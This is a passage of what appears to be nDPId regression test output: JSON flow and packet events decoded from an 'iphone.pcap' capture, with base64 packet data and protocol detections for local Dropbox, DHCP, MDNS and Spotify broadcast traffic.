wgMTQxNTYyMDM1MF19"} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"iphone.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1582454552576,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"iphone.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1582454553219,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00806{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454553,"pkt_ts_usec":219847,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeCUAAP8RQoAAAAAA\/\/\/\/\/wBEAEMBNI0tAQEGAHhURwkAGwAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00556{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"iphone.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1582454553219,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,121,3,6,15,119,252,95,44,46"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"iphone.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1582454553606,"flow_last_seen":0,"flow_tot_l4_data_len":1165,"flow_min_l4_data_len":1165,"flow_max_l4_data_len":1165,"flow_avg_l4_data_len":1165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01944{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454553,"pkt_ts_usec":606988,"pkt_caplen":1199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1199,"pkt_l4_len":1165,"pkt":"AQBeAAD7xiwDYGpkCABFAASh9MAAAP8RHubAqAIB4AAA+xTpFOkEjReaAACEAAAAAB4AAAALDUx1Y2HigJlzIGlNYWMGX29kaXNrBF90Y3AFbG9jYWwAABCAAQAAEZQANDNzeXM9d2FNQT1DNDoyQzowMzowNjo0OTpGRSxhZFZGPTB4NCxhZERUPTB4MyxhZENDPTAJX3NlcnZpY2VzB19kbnMtc2QEX3VkcMAmAAwAAQAAEZQAAsAawBoADAABAAARlAACwAwNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AIQAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xNwlfa2VyYmVyb3MKTHVjYXMtaU1hY8AmABAAAQAAEZQAMzJMS0RDOlNIQTEuNDkyNDgwQzNFQTgyODI3NzFBMEQyODhGMTExRUY5RTc1MUY5NUE2Mw1MdWNh4oCZcyBpTWFjBF9zbWLAIQAQgAEAABGUAAEAwGsADAABAAARlAACwUHBQQAMAAEAABGUAALBMw1MdWNh4oCZcyBpTWFjC19hZnBvdmVydGNwwCEAEIABAAARlAABAMBrAAwAAQAAEZQAAsF9wX0ADAABAAARlAACwW8NTHVjYeKAmXMgaU1hYwRfc3NowCEAEIABAAARlAABAMBrAAwAAQAAEZQAAsHAwcAADAABAAARlAACwbINTHVjYeKAmXMgaU1hYwlfc2Z0cC1zc2jAIQAQgAEAABGUAAEAwGsADAABAAARlAACwfzB\/AAMAAEAABGUAALB7sAMACGAAQAAAHgACAAAAADAAMDpwTMAIYABAAAAeAAIAAAAAAG9wOnBbwAhgAEAAAB4AAgAAAAAAiTA6cGyACGAAQAAAHgACAAAAAAAFsDpwe4AIYABAAAAeAAIAAAAAAAWwOkNTHVjYeKAmXMgaU1hYwRfbmZzwCEAEIABAAARlAABAMBrAAwAAQAAEZQAAsKhwqEADAABAAARlAACwpPCkwAhgAEAAAB4AAgAAAAACAHA6Q1MdWNh4oCZcyBpTWFjD19jb21wYW5pb24tbGlua8AhABCAAQAAEZQAWBZycEJBPTU5OjUxOjAyOjJGOkE0OkZGCnJwVnI9MTUyLjERcnBIST0wNzE2ZDA1OTQ0YWYRcnBITj04YjUzMjQzNTlkN2QRcnBIQT0yOGQ0YmVkNTE3ODDAawAMAAEAABGUAALC8cLxAAwAAQAAEZQAAsLjwuMAIYABAAAAeAAIAAAAAMADwOnA6QABgAEAAAB4AATAqAIBwOkAHIABAAAAeAAQ\/oAAAAAAAADELAP\/\/mBqZMAMAC+AAQAAEZQACcAMAAUAAIAAQMEzAC+AAQAAEZQACcEzAAUAAIAAQMFvAC+AAQAAEZQACcFvAAUAAIAAQMGyAC+AAQAAEZQACcGyAAUAAIAAQMHuAC+AAQAAEZQACcHuAAUAAIAAQMKTAC+AAQAAEZQACcKTAAUAAIAAQMLjAC+AAQAAEZQACcLjAAUAAIAAQMDpAC+AAQAAAHgACMDpAARAAAAIAAApBaAAABGUABIABAAOAADELAMGSf7GLANgamQ="} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"iphone.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1582454553606,"flow_last_seen":0,"flow_tot_l4_data_len":1165,"flow_min_l4_data_len":1165,"flow_max_l4_data_len":1165,"flow_avg_l4_data_len":1165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"luca___s_imac._odisk._tcp.local"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"iphone.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1582454553607,"flow_last_seen":0,"flow_tot_l4_data_len":1165,"flow_min_l4_data_len":1165,"flow_max_l4_data_len":1165,"flow_avg_l4_data_len":1165,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c42c:3ff:fe60:6a64","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01977{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454553,"pkt_ts_usec":607048,"pkt_caplen":1219,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1219,"pkt_l4_len":1165,"pkt":"MzMAAAD7xiwDYGpkht1gBTIBBI0R\/\/6AAAAAAAAAxCwD\/\/5gamT\/AgAAAAAAAAAAAAAAAAD7FOkU6QSNi88AAIQAAAAAHgAAAAsNTHVjYeKAmXMgaU1hYwZfb2Rpc2sEX3RjcAVsb2NhbAAAEIABAAARlAA0M3N5cz13YU1BPUM0OjJDOjAzOjA2OjQ5OkZFLGFkVkY9MHg0LGFkRFQ9MHgzLGFkQ0M9MAlfc2VydmljZXMHX2Rucy1zZARfdWRwwCYADAABAAARlAACwBrAGgAMAAEAABGUAALADA1MdWNh4oCZcyBpTWFjDF9kZXZpY2UtaW5mb8AhABAAAQAAEZQAGg5tb2RlbD1pTWFjMTEsMwpvc3h2ZXJzPTE3CV9rZXJiZXJvcwpMdWNhcy1pTWFjwCYAEAABAAARlAAzMkxLREM6U0hBMS40OTI0ODBDM0VBODI4Mjc3MUEwRDI4OEYxMTFFRjlFNzUxRjk1QTYzDUx1Y2HigJlzIGlNYWMEX3NtYsAhABCAAQAAEZQAAQDAawAMAAEAABGUAALBQcFBAAwAAQAAEZQAAsEzDUx1Y2HigJlzIGlNYWMLX2FmcG92ZXJ0Y3DAIQAQgAEAABGUAAEAwGsADAABAAARlAACwX3BfQAMAAEAABGUAALBbw1MdWNh4oCZcyBpTWFjBF9zc2jAIQAQgAEAABGUAAEAwGsADAABAAARlAACwcDBwAAMAAEAABGUAALBsg1MdWNh4oCZcyBpTWFjCV9zZnRwLXNzaMAhABCAAQAAEZQAAQDAawAMAAEAABGUAALB\/MH8AAwAAQAAEZQAAsHuwAwAIYABAAAAeAAIAAAAAMAAwOnBMwAhgAEAAAB4AAgAAAAAAb3A6cFvACGAAQAAAHgACAAAAAACJMDpwbIAIYABAAAAeAAIAAAAAAAWwOnB7gAhgAEAAAB4AAgAAAAAABbA6Q1MdWNh4oCZcyBpTWFjBF9uZnPAIQAQgAEAABGUAAEAwGsADAABAAARlAACwqHCoQAMAAEAABGUAALCk8KTACGAAQAAAHgACAAAAAAIAcDpDUx1Y2HigJlzIGlNYWMPX2NvbXBhbmlvbi1saW5rwCEAEIABAAARlABYFnJwQkE9NTk6NTE6MDI6MkY6QTQ6RkYKcnBWcj0xNTIuMRFycEhJPTA3MTZkMDU5NDRhZhFycEhOPThiNTMyNDM1OWQ3ZBFycEhBPTI4ZDRiZWQ1MTc4MMBrAAwAAQAAEZQAAsLxwvEADAABAAARlAACwuPC4wAhgAEAAAB4AAgAAAAAwAPA6cDpAAGAAQAAAHgABMCoAgHA6QAcgAEAAAB4ABD+gAAAAAAAAMQsA\/\/+YGpkwAwAL4ABAAARlAAJwAwABQAAgABAwTMAL4ABAAARlAAJwTMABQAAgABAwW8AL4ABAAARlAAJwW8ABQAAgABAwbIAL4ABAAARlAAJwbIABQAAgABAwe4AL4ABAAARlAAJwe4ABQAAgABAwpMAL4ABAAARlAAJwpMABQAAgABAwuMAL4ABAAARlAAJwuMABQAAgABAwOkAL4ABAAAAeAAIwOkABEAAAAgAACkFoAAAEZQAEgAEAA4AAMQsAwZJ\/sYsA2BqZA=="} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"iphone.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1582454553607,"flow_last_seen":0,"flow_tot_l4_data_len":1165,"flow_min_l4_data_len":1165,"flow_max_l4_data_len":1165,"flow_avg_l4_data_len":1165,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::c42c:3ff:fe60:6a64","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"luca___s_imac._odisk._tcp.local"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"iphone.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1582454553607,"flow_last_seen":0,"flow_tot_l4_data_len":1194,"flow_min_l4_data_len":1194,"flow_max_l4_data_len":1194,"flow_avg_l4_data_len":1194,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01984{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454553,"pkt_ts_usec":607164,"pkt_caplen":1228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1228,"pkt_l4_len":1194,"pkt":"AQBeAAD72DBiVgAcCABFAAS+xrMAAP8Rg6ip\/uHY4AAA+xTpFOkEqgnaAACEAAAAACAAAAAKDUx1Y2HigJlzIGlNYWMGX29kaXNrBF90Y3AFbG9jYWwAABCAAQAAEZQANDNzeXM9d2FNQT1DNDoyQzowMzowNjo0OTpGRSxhZFZGPTB4NCxhZERUPTB4MyxhZENDPTAJX3NlcnZpY2VzB19kbnMtc2QEX3VkcMAmAAwAAQAAEZQAAsAawBoADAABAAARlAACwAwNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AIQAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xNwlfa2VyYmVyb3MKTHVjYXMtaU1hY8AmABAAAQAAEZQAMzJMS0RDOlNIQTEuNDkyNDgwQzNFQTgyODI3NzFBMEQyODhGMTExRUY5RTc1MUY5NUE2Mw1MdWNh4oCZcyBpTWFjBF9zbWLAIQAQgAEAABGUAAEAwGsADAABAAARlAACwUHBQQAMAAEAABGUAALBMw1MdWNh4oCZcyBpTWFjC19hZnBvdmVydGNwwCEAEIABAAARlAABAMBrAAwAAQAAEZQAAsF9wX0ADAABAAARlAACwW8NTHVjYeKAmXMgaU1hYwRfc3NowCEAEIABAAARlAABAMBrAAwAAQAAEZQAAsHAwcAADAABAAARlAACwbINTHVjYeKAmXMgaU1hYwlfc2Z0cC1zc2jAIQAQgAEAABGUAAEAwGsADAABAAARlAACwfzB\/AAMAAEAABGUAALB7sAMACGAAQAAAHgACAAAAADAAMDpwTMAIYABAAAAeAAIAAAAAAG9wOnBbwAhgAEAAAB4AAgAAAAAAiTA6cGyACGAAQAAAHgACAAAAAAAFsDpwe4AIYABAAAAeAAIAAAAAAAWwOkNTHVjYeKAmXMgaU1hYwRfbmZzwCEAEIABAAARlAABAMBrAAwAAQAAEZQAAsKhwqEADAABAAARlAACwpPCkwAhgAEAAAB4AAgAAAAACAHA6Q1MdWNh4oCZcyBpTWFjD19jb21wYW5pb24tbGlua8AhABCAAQAAEZQAWBZycEJBPTU5OjUxOjAyOjJGOkE0OkZGCnJwVnI9MTUyLjERcnBIST0wNzE2ZDA1OTQ0YWYRcnBITj04YjUzMjQzNTlkN2QRcnBIQT0yOGQ0YmVkNTE3ODDAawAMAAEAABGUAALC8cLxAAwAAQAAEZQAAsLjwuMAIYABAAAAeAAIAAAAAMADwOkDMjE2AzIyNQMyNTQDMTY5B2luLWFkZHIEYXJwYQAADIABAAAAeAACwOnA6QABgAEAAAB4AASp\/uHYwAwAL4ABAAARlAAJwAwABQAAgABAwTMAL4ABAAARlAAJwTMABQAAgABAwW8AL4ABAAARlAAJwW8ABQAAgABAwbIAL4ABAAARlAAJwbIABQAAgABAwe4AL4ABAAARlAAJwe4ABQAAgABAwpMAL4ABAAARlAAJwpMABQAAgABAwuMAL4ABAAARlAAJwuMABQAAgABAw5UAL4ABAAAAeAAGw5UAAgAIwOkAL4ABAAAAeAAFwOkAAUAAACkFoAAAEZQAEgAEAA4AAMQsAwZJ\/tgwYlYAHA=="} +00565{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"iphone.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1582454553607,"flow_last_seen":0,"flow_tot_l4_data_len":1194,"flow_min_l4_data_len":1194,"flow_max_l4_data_len":1194,"flow_avg_l4_data_len":1194,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.225.216","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"luca___s_imac._odisk._tcp.local"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"iphone.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1582454556158,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454556,"pkt_ts_usec":158287,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABITwkAAEARpUvAqAIBwKgC\/+EV4RUANNgcU3BvdFVkcDDcFXQoLlJiTAABAARIlcIDokHeIIm5eNggVkvVDJHA6KPmCng="} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"iphone.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1582454556158,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00877{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454559,"pkt_ts_usec":629595,"pkt_caplen":404,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":404,"pkt_l4_len":370,"pkt":"AQBeAAD7xiwDYGpkCABFAAGGV\/AAAP8RvtHAqAIB4AAA+xTpFOkBcvWXAAAAAAARAAEAAAABCF9haXJwb3J0BF90Y3AFbG9jYWwAAAwAAQ9fY29tcGFuaW9uLWxpbmvAFQAMAAENX2FwcGxlLW1vYmRldsAVAAwAAQg4ZmIyMDdkZQRfc3ViDl9hcHBsZS1tb2JkZXYywBUADAABD19hcHBsZS1wYWlyYWJsZcAVAAwAAQtfZ29vZ2xlY2FzdMAVAAwAAQZfdXNjYW7AFQAMAAEHX3VzY2Fuc8AVAAwAAQdfaXBwdXNiwBUADAABCF9zY2FubmVywBUADAABBF9pcHDAFQAMAAEFX2lwcHPAFQAMAAEIX3ByaW50ZXLAFQAMAAEPX3BkbC1kYXRhc3RyZWFtwBUADAABBF9wdHDAFQAMAAEEX3JmYsAVAAwAAQZfYWRpc2vAFQAMAAHAJQAMAAEAAA4KABANTHVjYeKAmXMgaU1hY8AlAAApBaAAABGUABIABAAOAADELAMGSf7GLANgamQ="} +00911{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454559,"pkt_ts_usec":629655,"pkt_caplen":424,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":424,"pkt_l4_len":370,"pkt":"MzMAAAD7xiwDYGpkht1gBTIBAXIR\/\/6AAAAAAAAAxCwD\/\/5gamT\/AgAAAAAAAAAAAAAAAAD7FOkU6QFyac0AAAAAABEAAQAAAAEIX2FpcnBvcnQEX3RjcAVsb2NhbAAADAABD19jb21wYW5pb24tbGlua8AVAAwAAQ1fYXBwbGUtbW9iZGV2wBUADAABCDhmYjIwN2RlBF9zdWIOX2FwcGxlLW1vYmRldjLAFQAMAAEPX2FwcGxlLXBhaXJhYmxlwBUADAABC19nb29nbGVjYXN0wBUADAABBl91c2NhbsAVAAwAAQdfdXNjYW5zwBUADAABB19pcHB1c2LAFQAMAAEIX3NjYW5uZXLAFQAMAAEEX2lwcMAVAAwAAQVfaXBwc8AVAAwAAQhfcHJpbnRlcsAVAAwAAQ9fcGRsLWRhdGFzdHJlYW3AFQAMAAEEX3B0cMAVAAwAAQRfcmZiwBUADAABBl9hZGlza8AVAAwAAcAlAAwAAQAADgoAEA1MdWNh4oCZcyBpTWFjwCUAACkFoAAAEZQAEgAEAA4AAMQsAwZJ\/sYsA2BqZA=="} +00877{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454559,"pkt_ts_usec":629722,"pkt_caplen":404,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":404,"pkt_l4_len":370,"pkt":"AQBeAAD72DBiVgAcCABFAAGGSisAAP8RA2mp\/uHY4AAA+xTpFOkBciW4AAAAAAARAAEAAAABCF9haXJwb3J0BF90Y3AFbG9jYWwAAAwAAQ9fY29tcGFuaW9uLWxpbmvAFQAMAAENX2FwcGxlLW1vYmRldsAVAAwAAQg4ZmIyMDdkZQRfc3ViDl9hcHBsZS1tb2JkZXYywBUADAABD19hcHBsZS1wYWlyYWJsZcAVAAwAAQtfZ29vZ2xlY2FzdMAVAAwAAQZfdXNjYW7AFQAMAAEHX3VzY2Fuc8AVAAwAAQdfaXBwdXNiwBUADAABCF9zY2FubmVywBUADAABBF9pcHDAFQAMAAEFX2lwcHPAFQAMAAEIX3ByaW50ZXLAFQAMAAEPX3BkbC1kYXRhc3RyZWFtwBUADAABBF9wdHDAFQAMAAEEX3JmYsAVAAwAAQZfYWRpc2vAFQAMAAHAJQAMAAEAAA4KABANTHVjYeKAmXMgaU1hY8AlAAApBaAAABGUABIABAAOAADELAMGSf7YMGJWABw="} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"iphone.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1582454560698,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"224.0.0.1","src_port":5351,"dst_port":5350,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454560,"pkt_ts_usec":698945,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AQBeAAABxiwDYGpkCABFAAA0yh8AAAERTO\/AqAIB4AAAARTnFOYAIDCVAoAAAAAAAAAAAAAhAAAAAAAAAAAAAAAA"} +00406{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454560,"pkt_ts_usec":698947,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AQBeAAABxiwDYGpkCABFAAAoSfUAAAERzSXAqAIB4AAAARTnFOYAFHD5AIAAAAAAACHAqAEL"} +00807{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454561,"pkt_ts_usec":777161,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeCYAAP8RQn8AAAAA\/\/\/\/\/wBEAEMBNI0lAQEGAHhURwkAIwAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":13,"source":"iphone.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1582454552576,"flow_last_seen":0,"flow_tot_l4_data_len":518,"flow_min_l4_data_len":518,"flow_max_l4_data_len":518,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":13,"source":"iphone.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1582454556158,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00807{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454570,"pkt_ts_usec":441338,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeCcAAP8RQn4AAAAA\/\/\/\/\/wBEAEMBNI0cAQEGAHhURwkALAAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00807{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454579,"pkt_ts_usec":343688,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIeCgAAP8RQn0AAAAA\/\/\/\/\/wBEAEMBNI0TAQEGAHhURwkANQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} 